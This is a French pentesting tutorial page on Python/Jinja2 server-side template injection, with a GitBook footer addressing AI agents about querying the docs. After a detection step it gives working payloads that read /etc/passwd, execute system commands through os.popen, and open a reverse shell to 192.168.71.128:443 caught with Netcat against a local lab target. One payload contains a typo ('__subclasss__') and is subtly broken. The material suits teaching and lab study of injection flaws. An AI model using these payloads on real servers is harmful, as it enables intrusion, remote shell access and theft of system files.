> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md).

# SSTI Python

<figure><img src="/files/0374432dcd1aba8ac23010f48577317931e65242" alt="" width="563"><figcaption></figcaption></figure>

Comment savoir si un site web est potentiellement vulnérable à une attaque **SSTI** ? Si nous pouvons entrer une valeur dans un **entrée**, comme dans le cas ci-dessous avec la variable **utilisateur**, qui est interprétée dans un **sortie**:

<figure><img src="/files/893bb5af21b5ff8289b627bd00fbe8d028531c14" alt="" width="563"><figcaption></figcaption></figure>

Avec **whatweb**, si nous voyons qu'un serveur web utilise **Python, Java, Jinja2, AngularJS...** comme langage de programmation et que ce n'est pas nettoyé, il pourrait contenir cette vulnérabilité :

<figure><img src="/files/2683d07177159526af921f4249a629583df1f2e0" alt=""><figcaption></figcaption></figure>

Pour tester cela avec le **/{{ /}}**, nous testons s'il interprète le **calcul**:

<figure><img src="/files/81913ad190c6e8e027b4e588aec3d2c86fc8410e" alt="" width="563"><figcaption></figcaption></figure>

Dans ce cas, il interprète :

<figure><img src="/files/2f5311a24e2e4a67c5313f643d6e1e5e715cff6d" alt="" width="521"><figcaption></figcaption></figure>

Grâce au site web [**PayloadsAllTheThings**](https://github.com/swisskyrepo/PayloadsAllTheThings), nous trouvons toutes les [injections possibles](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2): Voici quelques exemples avec **Python**: Obtenir l'accès **n'importe quelle ressource du système** (/**etc/passwd**):

```python
{{ ''.__class__.__mro__[2].__subclasss__()[40]('/etc/passwd').read() }}

```

<figure><img src="/files/9ecdb7e2e7510e425084701134ba92832c65ae39" alt=""><figcaption></figcaption></figure>

Exécuter n'importe quelle **commande** du système (**id**):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="/files/653814f150bae88665d63a6df8a388232c6ad645" alt="" width="563"><figcaption></figcaption></figure>

Obtenir un **accès** au serveur :

```python
http://localhost:8089/?user={{+self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >%26/dev/tcp/192.168.71.128/443 0>%261" ').read()+}}

```

Nous écoutons avec **Netcat** et Pwned :)

<figure><img src="/files/9e057b3f7eaf3b46d6fcff10268d5c9311829fd8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-python-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
